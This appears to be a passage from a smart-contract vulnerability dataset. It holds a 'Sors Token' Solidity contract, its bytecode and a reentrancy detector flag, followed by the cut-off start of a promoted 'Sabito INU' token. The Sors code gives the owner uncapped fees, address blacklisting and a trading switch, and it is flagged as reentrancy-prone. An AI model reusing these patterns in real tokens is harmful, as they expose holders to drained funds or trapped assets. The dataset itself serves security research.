address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SorsToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sors Token";
string private constant _symbol = "SORS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xF32C023AD4352589716e08C63f889B5d0D1aa7c1);
address payable private _marketingAddress = payable(0xF32C023AD4352589716e08C63f889B5d0D1aa7c1);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 10000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b057600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fb565b005b34801561020a57600080fd5b5060408051808201909152600a81526929b7b939902a37b5b2b760b11b60208201525b60405161023a9190611a24565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a79565b61069a565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa5565b6106b1565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae6565b61071a565b34801561036e57600080fd5b506101fc61037d366004611b13565b610765565b34801561038e57600080fd5b506101fc6107ad565b3480156103a357600080fd5b506102c26103b2366004611ae6565b6107f8565b3480156103c357600080fd5b506101fc61081a565b3480156103d857600080fd5b506101fc6103e7366004611b2e565b61088e565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae6565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b13565b6108bd565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b50604080518082019091526004815263534f525360e01b602082015261022d565b3480156104bc57600080fd5b506101fc6104cb366004611b2e565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b47565b610934565b3480156104fc57600080fd5b5061026361050b366004611a79565b610972565b34801561051c57600080fd5b5061026361052b366004611ae6565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b79565b6109d3565b34801561058157600080fd5b506102c2610590366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b2e565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae6565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c36565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c97565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c36565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c36565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c36565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c36565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c6b565b9050602002016020810190610a349190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c97565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c36565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c36565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611cb2565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611ce1565b816001815181106113cc576113cc611c6b565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a6e57610a6e600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611733565b6001600160a01b0389166000908152600260205260409020556115c481611792565b6115ce84836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164182826114bf565b82101561165d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149c565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b6000806117408385611cb2565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179c61149c565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114bf565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ab565b60006118c08385611d91565b9050826118cd8583611d6f565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112de8161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112de82611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112de8161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205be094ed5e3b03d1c043cfb258c84308f846b1a0016916e2baf732e39055c7ad64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,315 |
0xf75ba1dd1797da997438a334e96a06e4c33691ed
|
/*
Sabito INU
Why say Sabito Inu will be a trend-leading animation project on the Ethereum blockchain? Because we have solved the biggest problem of the animation encryption project! The biggest problem with crypto projects is that there is no continuous transaction volume Cause the project to fail And Sabito Inu will solve this problem!
⏰Launched from 7PM-10PM UTC 25TH, please stay tuned
🌐Website:https://sabitoinu.com/
💬Twitter : https://twitter.com/SabitoInu
🎙 TG : https://t.me/SabitoInu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
